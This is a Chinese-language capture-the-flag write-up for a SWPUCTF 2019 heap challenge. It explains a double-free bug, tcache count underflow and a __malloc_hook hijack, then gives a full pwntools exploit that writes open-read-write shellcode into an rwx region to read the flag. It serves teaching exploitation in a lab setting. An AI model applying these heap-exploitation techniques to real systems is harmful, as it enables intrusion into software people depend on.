checksec:
ubuntu18,存在tcache机制
main:
{
int v3; // eax
sub_B0A();
puts(" Welcome to SWPUCTF 2019");
while ( count > 0 )
{
sub_10C5();
v3 = sub_1076();
if ( v3 == 3 )
{
sub_EC1();
}
else if ( v3 > 3 )
{
if ( v3 == 5 )
sub_E04();
if ( v3 < 5 )
{
dele();
}
else if ( v3 == 666 )
{
puts("p1Kk wants a boyfriend!");
}
}
else if ( v3 == 1 )
{
add();
}
else if ( v3 == 2 )
{
show();
}
--count;
}
sub_E04();
}
add:
dele:
show:
dele函数存在double free,申请堆块大小不能超过0x100。这样的大小释放之后是不能进unsorted bin泄露libc的,
tcache中还能通过多次free来使堆块进入unsortedbin,但我们只能free三次。两种方法都行不通
B0A函数是沙箱,并且在0x66660000位置开辟了一块rwx内存
根据seccomp-tool工具的结果来看,execve被禁了
既然存在rwx区域,我们就能尝试写shellcode利用orw读flag
如果对tcache有所了解应该知道,tcache bin表头一般位于申请的第一个堆块的前面
如下图
该地址指向下一次malloc时分配的tcache块地址
tcache_perthread_struct结构体中有两个字段 ,第一个字段counts记录对应Tcache的bin中现有的bin数量, 第二个字段entries用来具体指向相应bin中的chunk块(也就是上图标记的位置)。利用double free能让tcache的fd指向自己,形成一个循环。继续申请堆块就会使counts变成负数而counts是一个有符号数组。转换成无符号就是一个很大的值,这样一来,我们下一个free的unsortedbin 范围的chunk就能进入unsorted bin
思路:首先利用double free使tcache指向自己,顺便show一下堆的地址计算距entries的偏移。此时的counts为2,我们add三个一样大小的堆后再dele就能进unsorted bin。在add三个堆的时候可同时完成对entries的修改。将其指向rwx区域,写入shellcode。然后再劫持__malloc_hook,将其改为rwx。最后add就能得到flag。
exp:
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
#a=remote("node3.buuoj.cn",26839)
#g=gdb.debug("/root/ciscn")
a=process("/root/swpuctf")
elf=ELF("/root/ciscn")
libc=ELF("libc-2.27.so")
def add(size):
a.recvuntil('Choice:')
a.sendline('1')
a.recvuntil('size:')
a.sendline(str(size))
def show(idx):
a.recvuntil('Choice:')
a.sendline('2')
a.recvuntil('id:')
a.sendline(str(idx))
def dele(idx):
a.recvuntil('Choice:')
a.sendline('4')
a.recvuntil('id:')
a.sendline(str(idx))
def edit(idx,data):
a.recvuntil('Choice:')
a.sendline('3')
a.recvuntil('id:')
a.sendline(str(idx))
a.recvuntil('content:')
a.send(data)
rwx=0x66660000
#show tcache_head addr
add(0x100) #idx 0
add(0x100) #idx 1
dele(1)
dele(1)
show(1)
a.recvuntil('content: ')
tcache=u64(a.recv(6).ljust(8,'\x00'))-0x110-0x198
print hex(tcache)
add(0x100) #idx 2
edit(2,p64(tcache))
add(0x100) #idx 3
add(0x100) #idx 4
edit(4,p64(rwx))
add(0x100) #idx 5
dele(0)
show(0)
libc_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
malloc_hook=libc_addr+libc.sym['__malloc_hook']
print hex(libc_addr)
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,rwx+0x100,64)
shellcode+=shellcraft.amd64.write(1,rwx+0x100,64)
shellcode=asm(shellcode)
edit(5,shellcode)
edit(4,p64(malloc_hook))
add(0x100) #idx 6
edit(6,p64(rwx))
add(0x100)
#gdb.attach(a)
a.interactive()